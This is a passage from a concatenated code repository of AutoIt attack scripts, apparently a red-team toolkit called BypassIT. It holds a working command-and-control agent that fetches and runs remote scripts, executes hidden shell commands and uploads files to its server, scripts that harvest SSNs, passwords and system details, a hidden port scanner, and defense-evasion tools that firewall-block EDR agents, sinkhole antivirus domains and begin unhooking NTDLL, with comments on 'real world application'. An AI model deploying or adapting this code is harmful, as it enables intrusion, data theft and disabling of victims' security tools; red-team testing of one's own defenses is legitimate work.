& $filename) 66 | If Not _ReceiveFile($WorkingDir, $filename) Then 67 | WriteLog("File download failed: " & $filename) 68 | SendMsg("download_failed|" & $sSerial & "|" & $filename) 69 | DiagnosticInfo() 70 | Else 71 | SendMsg("download_complete|" & $sSerial & "|" & $filename) 72 | WriteLog("File download completed: " & $filename) 73 | 74 | ; Execute the downloaded script 75 | If StringRight($filename, 4) = ".a3x" Then 76 | WriteLog("Attempting to execute downloaded script: " & $filename) 77 | $scriptPath = $WorkingDir & "\" & $filename 78 | $outputFile = $WorkingDir & "\output.txt" 79 | 80 | ; Create the output file if it doesn't exist 81 | $hFile = FileOpen($outputFile, 2 + 8) ; 2 = write mode, 8 = create if not exist 82 | If $hFile <> -1 Then 83 | FileClose($hFile) 84 | Else 85 | WriteLog("Failed to create output file: " & $outputFile) 86 | ContinueLoop 87 | EndIf 88 | 89 | ExecuteAndStreamScript($scriptPath, $outputFile) 90 | ; Reset the streaming flag after execution 91 | $g_bHasStreamed = False 92 | EndIf 93 | EndIf 94 | Else 95 | WriteLog("Error: Invalid download_file command format") 96 | EndIf 97 | 98 | Case "upload_file" 99 | If $RecvArray[0] >= 2 Then 100 | $LocalFile = $RecvArray[2] 101 | WriteLog("Attempting to upload file: " & $LocalFile) 102 | _SendFile($LocalFile) 103 | Else 104 | WriteLog("Error: Invalid upload_file command format") 105 | EndIf 106 | 107 | Case "execute_command" 108 | If $RecvArray[0] >= 2 Then 109 | $command = $RecvArray[2] 110 | WriteLog("Attempting to execute command: " & $command) 111 | 112 | ; Use @ComSpec to run the command and redirect output and error to a file 113 | $pid = Run(@ComSpec & " /c " & $command & " > """ & @ScriptDir & "\output.txt"" 2>&1", @WorkingDir, @SW_HIDE) 114 | 115 | If $pid = 0 Then 116 | WriteLog("Failed to execute command: " & $command) 117 | WriteLog("Possible reasons: command not found, insufficient permissions, invalid command syntax, or environmental issues.") 118 | WriteLog("Check if the command is correct and available in the system PATH.") 119 | Else 120 | Sleep(1000) ; Wait briefly for the command to execute 121 | $output = FileRead(@ScriptDir & "\output.txt") 122 | WriteLog("Command executed successfully: " & $command & " (PID: " & $pid & ")") 123 | WriteLog("Command Output: " & $output) 124 | EndIf 125 | Else 126 | WriteLog("Error: Invalid execute_command format") 127 | EndIf 128 | 129 | Case "no_pending_commands" 130 | ; Do nothing, this is an expected response 131 | 132 | Case Else 133 | WriteLog("Unknown command received: " & $RecvArray[1]) 134 | EndSwitch 135 | 136 | 137 | 138 | SendMsg("checkin|" & $sSerial) 139 | 140 | Sleep($CheckinInterval) 141 | WEnd 142 | 143 | Func SendMsg($message, $timeout = 60000) 144 | $retry = 0 145 | While 1 146 | TCPStartup() 147 | $CmdSocket = TCPConnect($BypassIT_Server_IP, $MsgPort) 148 | If @error Or $CmdSocket = -1 Then 149 | If $retry = 5 Then 150 | WriteLog("Lost connection to server, retrying in 1 minute...") 151 | Sleep(60000) 152 | Else 153 | WriteLog("Could not connect to server, retrying in 1 second...") 154 | Sleep(1000) 155 | $retry += 1 156 | EndIf 157 | Else 158 | If $retry > 0 Then WriteLog("Connection to server successful.") 159 | TCPSend($CmdSocket, $message) 160 | Do 161 | $Recv = TCPRecv($CmdSocket, 1000) 162 | Sleep(100) 163 | Until $Recv <> "" 164 | 165 | $RecvArray = StringSplit($Recv, "|") 166 | 167 | TCPCloseSocket($CmdSocket) 168 | TCPShutdown() 169 | ExitLoop 170 | EndIf 171 | WEnd 172 | EndFunc ;==>SendMsg 173 | 174 | Func _SendFile($LocalFile) 175 | Local $BytesRead = 0 176 | Local Const $FILE_BEGIN = 0 ; Define the constant for file seek origin 177 | 178 | ;Get file size 179 | $iFileSize = FileGetSize($LocalFile) 180 | 181 | ;Get file name 182 | $Reg = StringRegExp($LocalFile, "(.)+\\((.)+)?", 3) 183 | Select 184 | Case Not IsArray($Reg) 185 | $FileName = $Reg 186 | Case UBound($Reg) < 2 187 | Return SetError(2, 0, -1) 188 | Case Else 189 | $FileName = $Reg[UBound($Reg)-1] 190 | EndSelect 191 | 192 | ;Initiate TCP session 193 | TCPStartup() 194 | $FileSocket = TCPConnect($BypassIT_Server_IP, $FilePort) 195 | 196 | ;Seq1: Wait until server replies 197 | Do 198 | $Receive = TCPRecv($FileSocket, 1000) 199 | Sleep(10) 200 | Until $Receive <> "" 201 | 202 | ;Seq2: Send transfer direction, filename and file size to server 203 | WriteLog("Sending file request: from_agent|" & $FileName) 204 | TCPSend($FileSocket, "from_agent|" & $FileName & "|" & $iFileSize) 205 | 206 | ;Open file to read in binary 207 | $FileHandle = FileOpen($LocalFile, 16) 208 | 209 | ;Seq3: Wait until server replies with "Start Upload" 210 | Do 211 | $Receive = TCPRecv($FileSocket, 1000) 212 | Until $Receive <> "" 213 | 214 | ;Seq4: Loop sending file in chunks as binary until size exceeds offset 215 | Local $iOffset = 0 216 | Do 217 | FileSetPos($FileHandle, $iOffset, $FILE_BEGIN) 218 | TCPSend($FileSocket, FileRead($FileHandle, 4096)) 219 | $iOffset += 4096 220 | Until $iOffset >= $iFileSize 221 | 222 | ;Seq5: Send "End of file" to finish transfer and close socket 223 | TCPSend($FileSocket, @CRLF & "{EOF}") 224 | FileClose($FileHandle) 225 | TCPCloseSocket($FileSocket) 226 | TCPShutdown() 227 | WriteLog("File upload completed: " & $FileName) 228 | EndFunc ;==>_SendFile 229 | 230 | Func _ReceiveFile($LocalPath, $ServerFile) 231 | WriteLog("Starting file download process for: " & $ServerFile) 232 | 233 | Local $retryCount = 0 234 | Local $maxRetries = 3 235 | 236 | While $retryCount < $maxRetries 237 | TCPStartup() 238 | $FileSocket = TCPConnect($BypassIT_Server_IP, $FilePort) 239 | If @error Then 240 | $retryCount += 1 241 | WriteLog("Error connecting to file transfer port: " & @error & ". Retry " & $retryCount & " of " & $maxRetries) 242 | TCPShutdown() 243 | If $retryCount < $maxRetries Then 244 | Sleep(2000) 245 | ContinueLoop 246 | Else 247 | WriteLog("Failed to connect after " & $maxRetries & " attempts") 248 | Return False 249 | EndIf 250 | EndIf 251 | WriteLog("Connected to file transfer port") 252 | 253 | ; Wait for READY signal 254 | $Receive = TCPRecv($FileSocket, 1024) 255 | If $Receive <> "READY" Then 256 | WriteLog("Did not receive READY signal, got: " & $Receive) 257 | TCPCloseSocket($FileSocket) 258 | TCPShutdown() 259 | ContinueLoop 260 | EndIf 261 | WriteLog("Received READY signal from server") 262 | 263 | ; Send file request 264 | WriteLog("Sending file request: to_agent|" & $ServerFile) 265 | TCPSend($FileSocket, "to_agent|" & $ServerFile) 266 | 267 | ; Wait for file info 268 | $Receive = TCPRecv($FileSocket, 1024) 269 | WriteLog("Received from server: " & $Receive) 270 | 271 | $FileData = StringSplit($Receive, "|", 2) 272 | If @error Or UBound($FileData) < 2 Then 273 | WriteLog("Invalid file info received from server") 274 | TCPCloseSocket($FileSocket) 275 | TCPShutdown() 276 | ContinueLoop 277 | EndIf 278 | 279 | $FileName = $FileData[0] 280 | $FileSize = Number($FileData[1]) 281 | 282 | $LocalFilePath = $LocalPath & "\" & $FileName 283 | $FileHandle = FileOpen($LocalFilePath, 18) ; 2 (overwrite) + 16 (binary) 284 | If $FileHandle = -1 Then 285 | WriteLog("Failed to open local file for writing: " & $LocalFilePath) 286 | TCPCloseSocket($FileSocket) 287 | TCPShutdown() 288 | Return False 289 | EndIf 290 | 291 | ; Send START signal 292 | TCPSend($FileSocket, "START") 293 | 294 | ; Receive file data 295 | $ReceivedSize = 0 296 | While $ReceivedSize < $FileSize 297 | $Data = TCPRecv($FileSocket, 4096) 298 | If @error Then 299 | WriteLog("Error receiving file data: " & @error) 300 | FileClose($FileHandle) 301 | TCPCloseSocket($FileSocket) 302 | TCPShutdown() 303 | Return False 304 | EndIf 305 | FileWrite($FileHandle, $Data) 306 | $ReceivedSize += BinaryLen($Data) 307 | WEnd 308 | 309 | FileClose($FileHandle) 310 | TCPCloseSocket($FileSocket) 311 | TCPShutdown() 312 | WriteLog("File download completed: " & $ServerFile) 313 | Return True 314 | WEnd 315 | 316 | WriteLog("File download failed after " & $maxRetries & " attempts") 317 | Return False 318 | EndFunc 319 | 320 | Func DiagnosticInfo() 321 | WriteLog("--- Diagnostic Information ---") 322 | WriteLog("Server IP: " & $BypassIT_Server_IP) 323 | WriteLog("Message Port: " & $MsgPort) 324 | WriteLog("File Port: " & $FilePort) 325 | 326 | ; Test connection to message port 327 | TCPStartup() 328 | $testSocket = TCPConnect($BypassIT_Server_IP, $MsgPort) 329 | If @error Then 330 | WriteLog("Cannot connect to message port: " & @error) 331 | Else 332 | WriteLog("Successfully connected to message port") 333 | TCPCloseSocket($testSocket) 334 | EndIf 335 | 336 | ; Test connection to file port 337 | $testSocket = TCPConnect($BypassIT_Server_IP, $FilePort) 338 | If @error Then 339 | WriteLog("Cannot connect to file port: " & @error) 340 | Else 341 | WriteLog("Successfully connected to file port") 342 | TCPCloseSocket($testSocket) 343 | EndIf 344 | 345 | TCPShutdown() 346 | 347 | ; Check if firewall is blocking AutoIt 348 | $firewallStatus = Run(@ComSpec & " /c netsh advfirewall show allprofiles state", "", @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD) 349 | $firewallOutput = StdoutRead($firewallStatus) 350 | WriteLog("Firewall Status: " & $firewallOutput) 351 | 352 | WriteLog("--- End of Diagnostic Information ---") 353 | EndFunc 354 | 355 | Func ExecuteAndStreamScript($scriptPath, $outputFile) 356 | ; Run the script and capture its output 357 | $pid = Run(@AutoItExe & " /AutoIt3ExecuteScript """ & $scriptPath & """ > """ & $outputFile & """ 2>&1", $WorkingDir, @SW_HIDE) 358 | If $pid = 0 Then 359 | WriteLog("Failed to execute script: " & $scriptPath) 360 | Return False 361 | EndIf 362 | 363 | WriteLog("Script execution started: " & $scriptPath & " (PID: " & $pid & ")") 364 | 365 | ; Wait for the process to finish 366 | While ProcessExists($pid) 367 | Sleep(100) 368 | WEnd 369 | 370 | WriteLog("Script execution finished: " & $scriptPath) 371 | 372 | ; Now stream the contents 373 | SendMsg("start_streaming|" & $sSerial) 374 | StreamOutput($outputFile) 375 | 376 | ; Set the flag to indicate streaming has occurred 377 | $g_bHasStreamed = True 378 | 379 | Return True 380 | EndFunc 381 | 382 | Func StreamOutput($filename) 383 | Local $hFile = FileOpen($filename, 0) ; Open for reading 384 | If $hFile = -1 Then 385 | WriteLog("Unable to open output file for streaming: " & $filename) 386 | Return 387 | EndIf 388 | 389 | Local $content = FileRead($hFile) 390 | FileClose($hFile) 391 | 392 | ; Stream content in small chunks 393 | Local $chunkSize = 50 ; Adjust this value to control streaming speed 394 | Local $length = StringLen($content) 395 | Local $position = 1 396 | 397 | While $position <= $length 398 | Local $chunk = StringMid($content, $position, $chunkSize) 399 | SendMsg("stream_output|" & $sSerial & "|" & $chunk) 400 | $position += $chunkSize 401 | Sleep(100) ; Adjust this value to control streaming speed 402 | WEnd 403 | 404 | SendMsg("stop_streaming|" & $sSerial) 405 | WriteLog("Finished streaming output for: " & $filename) 406 | EndFunc 407 | -------------------------------------------------------------------------------- /2 - Discovery/DiscoverBasicHostRecon.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | ; Define the output file path 6 | Global $outputFilePath = @ScriptDir & "\output.txt" 7 | FileDelete($outputFilePath) ; Delete the file if it already exists 8 | 9 | ; Run the systeminfo command and capture the output 10 | Local $systemInfo = RunCommand("systeminfo") 11 | 12 | ; Run the arp -a command and capture the output 13 | Local $arpInfo = RunCommand("arp -a") 14 | 15 | ; Combine the outputs 16 | Local $results = "System Information:" & @CRLF & $systemInfo & @CRLF & @CRLF & "ARP Information:" & @CRLF & $arpInfo 17 | 18 | ; Write the results to the output file 19 | FileWrite($outputFilePath, $results) 20 | 21 | ; Function to run a command and capture the output 22 | Func RunCommand($cmd) 23 | Local $stdout = "" 24 | Local $handle = Run(@ComSpec & " /c " & $cmd, "", @SW_HIDE, $STDOUT_CHILD) 25 | If $handle = 0 Then 26 | MsgBox(16, "Error", "Failed to execute command: " & $cmd) 27 | Return "" 28 | EndIf 29 | While 1 30 | $data = StdoutRead($handle) 31 | If @error Then ExitLoop 32 | $stdout &= $data 33 | WEnd 34 | Return $stdout 35 | EndFunc 36 | -------------------------------------------------------------------------------- /2 - Discovery/DiscoverFilesPII.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | Global $documentsPath = @MyDocumentsDir 5 | Global $contextLength = 30 6 | Global $results = "" 7 | 8 | ; Regex patterns 9 | Global $phoneRegex = "\(?\d{3}\)?[ .-]\d{3}[ .-]\d{4}" 10 | Global $ssnRegex = "\b\d{3}-\d{2}-\d{4}\b" 11 | Global $dobRegex = "\b(?:\d{1,2}[-/]\d{1,2}[-/]\d{2,4}|\d{4}[-/]\d{1,2}[-/]\d{1,2})\b" 12 | 13 | ; Search all .txt files in the Documents folder 14 | Local $iFileList = _FileListToArrayRec($documentsPath, "*.txt", 1, 1, 0, 2) 15 | Local $outputFilePath = @ScriptDir & "\output.txt" 16 | FileDelete($outputFilePath) ; Delete the file if it already exists 17 | 18 | If @error Then 19 | FileWrite($outputFilePath, "Error: No .txt files found." & @CRLF) 20 | Exit 21 | EndIf 22 | 23 | For $i = 1 To $iFileList[0] 24 | Local $filePath = $iFileList[$i] 25 | Local $fileContent = FileRead($filePath) 26 | If @error Then 27 | ContinueLoop 28 | EndIf 29 | Local $patterns = [$phoneRegex, $ssnRegex, $dobRegex] 30 | For $j = 0 To UBound($patterns) - 1 31 | Local $fileResults = _FindContext($fileContent, $patterns[$j], $contextLength) 32 | _AddResults($results, $filePath, $fileResults) 33 | Next 34 | Next 35 | 36 | ; Write the results to a text file 37 | FileWrite($outputFilePath, $results) 38 | 39 | Func _FindContext($content, $pattern, $length) 40 | Local $resultArray[1] = [0] 41 | Local $matches = StringRegExp($content, $pattern, 3) 42 | For $i = 0 To UBound($matches) - 1 43 | Local $match = $matches[$i] 44 | Local $pos = StringInStr($content, $match, 0, 1) 45 | If $pos > 0 Then 46 | Local $startPos = $pos + StringLen($match) 47 | Local $context = StringMid($content, $startPos, $length) 48 | _ArrayAdd($resultArray, $match & ": " & $context) 49 | EndIf 50 | Next 51 | Return $resultArray 52 | EndFunc 53 | 54 | Func _AddResults(ByRef $results, $filePath, $fileResults) 55 | For $i = 1 To UBound($fileResults) - 1 56 | $results &= $filePath & ": " & $fileResults[$i] & @CRLF 57 | Next 58 | EndFunc 59 | -------------------------------------------------------------------------------- /2 - Discovery/DiscoverFilesSecrets.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | Global $documentsPath = @MyDocumentsDir 5 | Global $searchTerms = ["Secret", "Password"] 6 | Global $contextLength = 30 7 | Global $results = "" 8 | 9 | ; Search all .txt files in the Documents folder 10 | Local $iFileList = _FileListToArrayRec($documentsPath, "*.txt", 1, 1, 0, 2) 11 | If @error Then 12 | MsgBox(0, "Error", "No .txt files found.") 13 | Exit 14 | EndIf 15 | 16 | For $i = 1 To $iFileList[0] 17 | Local $filePath = $iFileList[$i] 18 | Local $fileContent = FileRead($filePath) 19 | If @error Then 20 | ContinueLoop 21 | EndIf 22 | Local $fileResults = _FindContext($fileContent, $searchTerms, $contextLength) 23 | For $j = 1 To UBound($fileResults) - 1 24 | $results &= $filePath & ": " & $fileResults[$j] & @CRLF 25 | Next 26 | Next 27 | 28 | ; Write the results to a text file 29 | Local $outputFilePath = @ScriptDir & "\output.txt" 30 | FileDelete($outputFilePath) ; Delete the file if it already exists 31 | FileWrite($outputFilePath, $results) 32 | 33 | MsgBox(0, "Results", "Results written to " & $outputFilePath) 34 | 35 | Func _FindContext($content, $terms, $length) 36 | Local $resultArray[1] = [0] 37 | For $i = 0 To UBound($terms) - 1 38 | Local $term = $terms[$i] 39 | Local $pos = 1 40 | While $pos > 0 41 | $pos = StringInStr($content, $term, 0, $pos) 42 | If $pos > 0 Then 43 | Local $startPos = $pos + StringLen($term) 44 | Local $context = StringMid($content, $startPos, $length) 45 | _ArrayAdd($resultArray, $term & ": " & $context) 46 | $pos = $startPos 47 | EndIf 48 | WEnd 49 | Next 50 | Return $resultArray 51 | EndFunc 52 | -------------------------------------------------------------------------------- /2 - Discovery/DiscoverPortScanner.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | ; Define the output file path 5 | Global $outputFilePath = @ScriptDir & "\output.txt" 6 | FileDelete($outputFilePath) ; Delete the file if it already exists 7 | 8 | ; PowerShell script content 9 | Global $psScript = _ 10 | "function Test-Port {" & @CRLF & _ 11 | " param (" & @CRLF & _ 12 | " [string]$TargetHost," & @CRLF & _ 13 | " [int]$Port" & @CRLF & _ 14 | " )" & @CRLF & _ 15 | " try {" & @CRLF & _ 16 | " $tcpClient = New-Object System.Net.Sockets.TcpClient" & @CRLF & _ 17 | " $tcpClient.Connect($TargetHost, $Port)" & @CRLF & _ 18 | " $tcpClient.Close()" & @CRLF & _ 19 | " return $true" & @CRLF & _ 20 | " } catch {" & @CRLF & _ 21 | " return $false" & @CRLF & _ 22 | " }" & @CRLF & _ 23 | "}" & @CRLF & _ 24 | "" & @CRLF & _ 25 | "function Get-LocalNetworks {" & @CRLF & _ 26 | " $networkInterfaces = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true }" & @CRLF & _ 27 | " $networks = @()" & @CRLF & _ 28 | " foreach ($interface in $networkInterfaces) {" & @CRLF & _ 29 | " if ($interface.IPAddress -ne $null -and $interface.IPSubnet -ne $null -and $interface.DefaultIPGateway -ne $null) {" & @CRLF & _ 30 | " $network = New-Object PSObject -Property @{" & @CRLF & _ 31 | " 'Name' = $interface.Description" & @CRLF & _ 32 | " 'IPAddress' = $interface.IPAddress[0]" & @CRLF & _ 33 | " 'SubnetMask' = $interface.IPSubnet[0]" & @CRLF & _ 34 | " 'Gateway' = $interface.DefaultIPGateway[0]" & @CRLF & _ 35 | " }" & @CRLF & _ 36 | " $networks += $network" & @CRLF & _ 37 | " }" & @CRLF & _ 38 | " }" & @CRLF & _ 39 | " return $networks" & @CRLF & _ 40 | "}" & @CRLF & _ 41 | "" & @CRLF & _ 42 | "# Define the output file path" & @CRLF & _ 43 | "$outputFilePath = '" & $outputFilePath & "'" & @CRLF & _ 44 | "Remove-Item $outputFilePath -ErrorAction Ignore" & @CRLF & _ 45 | "" & @CRLF & _ 46 | "# Get local networks" & @CRLF & _ 47 | "$localNetworks = Get-LocalNetworks" & @CRLF & _ 48 | "" & @CRLF & _ 49 | "# Check if there are any active network interfaces" & @CRLF & _ 50 | "if ($localNetworks) {" & @CRLF & _ 51 | " foreach ($network in $localNetworks) {" & @CRLF & _ 52 | " $output = 'Scanning network interface: ' + $network.Name + '`n'" & @CRLF & _ 53 | " Add-Content -Path $outputFilePath -Value $output" & @CRLF & _ 54 | " $targetIP = $network.IPAddress" & @CRLF & _ 55 | " $openPorts = @()" & @CRLF & _ 56 | " $portsToScan = 21,22,25,80,443,135,137,139,3389,8080,9000 # You can change the range of ports to scan here" & @CRLF & _ 57 | " foreach ($port in $portsToScan) {" & @CRLF & _ 58 | " $isOpen = Test-Port -TargetHost $targetIP -Port $port" & @CRLF & _ 59 | " if ($isOpen) {" & @CRLF & _ 60 | " $openPorts += $port" & @CRLF & _ 61 | " }" & @CRLF & _ 62 | " }" & @CRLF & _ 63 | " $output = 'Host: ' + $targetIP + ', Open Ports: ' + ($openPorts -join ', ') + '`n'" & @CRLF & _ 64 | " Add-Content -Path $outputFilePath -Value $output" & @CRLF & _ 65 | " }" & @CRLF & _ 66 | "} else {" & @CRLF & _ 67 | " Add-Content -Path $outputFilePath -Value 'No active network interfaces found. It seems you''re stranded in the network void!'" & @CRLF & _ 68 | "}" 69 | 70 | ; Save the PowerShell script to a temporary file 71 | Global $psFile = @TempDir & "\network_scan.ps1" 72 | FileDelete($psFile) ; Delete the file if it already exists 73 | FileWrite($psFile, $psScript) 74 | 75 | ; Run the PowerShell script hidden 76 | Local $iPID = Run(@ComSpec & " /c powershell -ExecutionPolicy Bypass -File " & $psFile, "", @SW_HIDE) 77 | 78 | ; Wait for the PowerShell script to complete by checking the process 79 | While ProcessExists($iPID) 80 | Sleep(100) 81 | WEnd 82 | 83 | ; Clean up the temporary PowerShell script file 84 | FileDelete($psFile) 85 | 86 | ; Check if the output file was created 87 | If FileExists($outputFilePath) Then 88 | MsgBox($MB_OK, "Success", "Network scan results have been written to " & $outputFilePath) 89 | Else 90 | MsgBox($MB_OK, "Error", "Failed to write network scan results to " & $outputFilePath) 91 | EndIf 92 | 93 | -------------------------------------------------------------------------------- /3 - Defense Evasion/Defense Evasion - Deny Outbound Firewall.au3: -------------------------------------------------------------------------------- 1 | #cs ---------------------------------------------------------------------------- 2 | BypassIT - Defense Evasion - Deny Outbound EDR Connections - Host Firewall 3 | AutoIt Version: 3.3.16.1 4 | Version: 1.0 5 | Author: RayZaxs 6 | 7 | Script Function: 8 | Script will need to be compiled to an executable and ran as an administrator. It will be most effective in combination with UAC bypass, or PrivEsc. 9 | For Real application take out message boxes at the end and change the .txt file extension to the real .exe - Agent names should be correct. 10 | *Note* More EDR software and AV support in the works 11 | 12 | #ce ---------------------------------------------------------------------------- 13 | ; Require script to be run as admin 14 | #RequireAdmin 15 | #include 16 | 17 | ; Define the filename for the output file 18 | $filename = "command_output.txt" 19 | 20 | ; Get the current directory 21 | $currentDir = @ScriptDir 22 | 23 | ; Create the full path for the text file 24 | $filePath = $currentDir & "\" & $filename 25 | 26 | ; Define the PowerShell command to run - Regex through Program Files looking for EDR software agents (For testing purposes I created txt files (change to exe for real application) 27 | $string = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Get-ChildItem -Path \"C:\\Program Files\" -Recurse -File -Filter \"*.txt\" -ErrorAction SilentlyContinue | Where-Object { \"CSFalconService\", \"SentinelOne\", \"nwmagent\", \"agent\" -contains $_.BaseName } | Select-Object -ExpandProperty FullName"' 28 | 29 | ; Run the PowerShell command 30 | RunWait($string & " > """ & $filePath & """", @ScriptDir, @SW_HIDE) 31 | 32 | ; Check if the file has been created 33 | If FileExists($filePath) Then 34 | MsgBox(0, "Success", "The command output has been written to: " & $filePath) 35 | Else 36 | MsgBox(0, "Error", "Failed to write the command output.") 37 | EndIf 38 | 39 | 40 | ; Create an array to hold the contents of the output - Initialize with 1 element 41 | Local $fileContents[1] 42 | 43 | ; Check if the file exists before reading 44 | If FileExists($filename) Then 45 | ; Read the file into the array line by line 46 | $fileContents = FileReadToArray($filename) 47 | 48 | ; Iterate through the array 49 | For $i = 0 To UBound($fileContents) - 1 50 | ; Get the full file path 51 | $filePath = $fileContents[$i] 52 | 53 | ; Extract the file name by splitting the string at the last backslash 54 | $fileName = StringTrimLeft($filePath, StringInStr($filePath, "\", 0, -1)) 55 | 56 | 57 | ; Create the netsh command string using the file name and path variables 58 | $netshCommand = 'netsh advfirewall firewall add rule name="Deny Outbound for ' & $fileName & '" dir=out action=block program="' & $filePath & '" enable=yes' 59 | 60 | ; Run the command to add the firewall rule(s) 61 | RunWait($netshCommand, "", @SW_HIDE) ; Run in hidden mode to avoid a command prompt window showing up 62 | 63 | ; Check if the rule was successfully added (Delete/Disable for Real World Application) 64 | MsgBox(0, "Success", "Firewall rule added for: " & $fileName) 65 | Next 66 | 67 | MsgBox(0, "Complete", "All firewall rules have been added.") 68 | 69 | Else 70 | MsgBox(0, "Error", "The specified text file does not exist!") 71 | EndIf 72 | -------------------------------------------------------------------------------- /3 - Defense Evasion/Defense Evasion - Deny Outbound Firewall.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/3 - Defense Evasion/Defense Evasion - Deny Outbound Firewall.exe -------------------------------------------------------------------------------- /3 - Defense Evasion/HostFile2blockListofURLs.au3: -------------------------------------------------------------------------------- 1 | #comments-start 2 | 3 | Note that this one needs to be compiled to an executable and only works if you run as administrator. Some AV products may block attempts to supress their communicaiton via host file sinkhole, and even product by product exact settings could be a factor. 4 | 5 | #comments-end 6 | 7 | #include 8 | #include 9 | 10 | Global $sHostFile = @SystemDir & "\drivers\etc\hosts" 11 | Global $aDomains = ["example1.com", "example2.com", "example3.com"] ; Add more domains as needed 12 | Global $sRedirectIP = "127.0.0.1" 13 | 14 | If Not FileExists($sHostFile) Then 15 | FileWrite($sHostFile, "") 16 | EndIf 17 | 18 | Global $hFile = FileOpen($sHostFile, $FO_APPEND) 19 | If $hFile = -1 Then 20 | MsgBox($MB_SYSTEMMODAL, "Error", "Unable to open hosts file: " & $sHostFile) 21 | Exit 22 | EndIf 23 | 24 | For $i = 0 To UBound($aDomains) - 1 25 | FileWriteLine($hFile, $sRedirectIP & " " & $aDomains[$i]) 26 | FileWriteLine($hFile, $sRedirectIP & " www." & $aDomains[$i]) 27 | Next 28 | 29 | FileClose($hFile) 30 | 31 | MsgBox($MB_SYSTEMMODAL, "Success", "Hosts file updated to redirect specified domains to 127.0.0.1") 32 | 33 | Exit 34 | -------------------------------------------------------------------------------- /3 - Defense Evasion/HostFile2blockListofURLs.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/3 - Defense Evasion/HostFile2blockListofURLs.exe -------------------------------------------------------------------------------- /3 - Defense Evasion/HostFileEntrytoSinkholeAVurl.au3: -------------------------------------------------------------------------------- 1 | #comments-start 2 | 3 | Note that this one needs to be compiled to an executable and only works if you run as administrator. Some AV products may block attempts to supress their communicaiton via host file sinkhole, and even product by product exact settings could be a factor. 4 | 5 | #comments-end 6 | 7 | #include 8 | #include 9 | 10 | Global $sHostFile = @SystemDir & "\drivers\etc\hosts" 11 | Global $sAvURL = "Example.com" 12 | Global $sRedirectIP = "127.0.0.1" 13 | 14 | If Not FileExists($sHostFile) Then 15 | FileWrite($sHostFile, "") 16 | EndIf 17 | 18 | Global $hFile = FileOpen($sHostFile, $FO_APPEND) 19 | If $hFile = -1 Then 20 | MsgBox($MB_SYSTEMMODAL, "Error", "Unable to open hosts file: " & $sHostFile) 21 | Exit 22 | EndIf 23 | 24 | FileWriteLine($hFile, $sRedirectIP & " " & $sAvURL) 25 | FileWriteLine($hFile, $sRedirectIP & " " & "www." & $sAvURL) 26 | 27 | FileClose($hFile) 28 | 29 | MsgBox($MB_SYSTEMMODAL, "Success", "Hosts file updated to redirect " & $sAvURL & " to 127.0.0.1") 30 | 31 | Exit 32 | -------------------------------------------------------------------------------- /3 - Defense Evasion/HostFileEntrytoSinkholeAVurl.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/3 - Defense Evasion/HostFileEntrytoSinkholeAVurl.exe -------------------------------------------------------------------------------- /3 - Defense Evasion/NTDLL_Modification.au3: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | Global $g_aSnapshots[4] 12 | Global $g_aAddresses[4] 13 | Global $g_idLog 14 | Global $g_hNTDLL = 0 15 | Global $g_bModified = False 16 | 17 | 18 | 19 | Local $hGUI = GUICreate("NTDLL Memory Manipulator", 600, 500) 20 | Local $idBtnTakeSnapshot = GUICtrlCreateButton("Take Initial Snapshot", 20, 20, 160, 30) 21 | Local $idBtnModify = GUICtrlCreateButton("Modify NTDLL", 200, 20, 160, 30) 22 | Local $idBtnCheck = GUICtrlCreateButton("Check for Changes", 380, 20, 160, 30) 23 | Local $idBtnClear = GUICtrlCreateButton("Clear Log", 20, 60, 160, 30) 24 | Local $idBtnExit = GUICtrlCreateButton("Exit", 380, 60, 160, 30) 25 | Local $idBtnUnhookNTDLL = GUICtrlCreateButton("Unhook NTDLL", 200, 60, 160, 30) 26 | 27 | 28 | $g_idLog = GUICtrlCreateEdit("", 20, 100, 560, 380, BitOR($ES_MULTILINE, $ES_READONLY, $WS_VSCROLL, $ES_AUTOVSCROLL)) 29 | GUICtrlSetFont($g_idLog, 9, 400, 0, "Consolas") 30 | GUISetState(@SW_SHOW) 31 | 32 | 33 | Global $g_aSnapshots[4] 34 | Global $g_aAddresses[4] 35 | Global $g_idLog 36 | 37 | 38 | Global $var_294, $var_229, $var_190, $var_175, $var_261, $var_269, $addr_270, $var_158 39 | Global $var_164, $var_152, $var_265 40 | 41 | 42 | Func _CrashLog($message, $lastDLLError = 0) 43 | Local $errorMsg = "CRASH LOG - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF 44 | $errorMsg &= "Message: " & $message & @CRLF 45 | If $lastDLLError Then 46 | $errorMsg &= "LastDLLError: 0x" & Hex($lastDLLError) & @CRLF 47 | EndIf 48 | LogWrite($errorMsg) 49 | EndFunc 50 | 51 | Func _SaveCurrentState() 52 | Local $state = DllStructCreate("ptr BaseAddress;dword Size;dword Protection") 53 | DllStructSetData($state, "BaseAddress", 0) 54 | DllStructSetData($state, "Size", 0) 55 | DllStructSetData($state, "Protection", 0) 56 | Return $state 57 | EndFunc 58 | 59 | Func _RestoreState($state) 60 | If Not IsDllStruct($state) Then Return False 61 | Local $baseAddr = DllStructGetData($state, "BaseAddress") 62 | If $baseAddr = 0 Then Return False 63 | 64 | Local $oldProtect 65 | DllCall("kernel32.dll", "bool", "VirtualProtect", _ 66 | "ptr", $baseAddr, _ 67 | "dword", DllStructGetData($state, "Size"), _ 68 | "dword", DllStructGetData($state, "Protection"), _ 69 | "dword*", $oldProtect) 70 | Return True 71 | EndFunc 72 | 73 | Func _SaveCurrentHandles() 74 | Local $handles = DllStructCreate("ptr NTDLL; ptr Process") 75 | DllStructSetData($handles, "NTDLL", $g_hNTDLL) 76 | DllStructSetData($handles, "Process", _WinAPI_GetCurrentProcess()) 